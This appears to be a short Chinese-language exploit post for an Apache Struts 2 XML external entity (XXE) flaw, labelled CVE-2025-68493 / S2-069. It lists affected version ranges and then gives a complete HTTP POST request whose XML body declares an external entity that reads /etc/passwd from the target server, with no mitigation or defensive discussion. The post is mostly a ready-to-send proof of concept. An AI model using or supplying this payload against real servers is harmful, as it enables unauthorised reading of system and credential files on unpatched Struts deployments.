CVE-2025-68493｜Apache Struts 2(S2-069)外部实体（XXE）注入漏洞（POC）

Apache Struts [>= 2.0.0, <= 2.3.37];
Apache Struts [>= 2.5.0, <= 2.5.33];
Apache Struts [>= 6.0.0, <= 6.1.0];

来源于网络：

POST/struts2-xml-parser/xmlParserNoDtdParseHTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/143.0.0.0Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>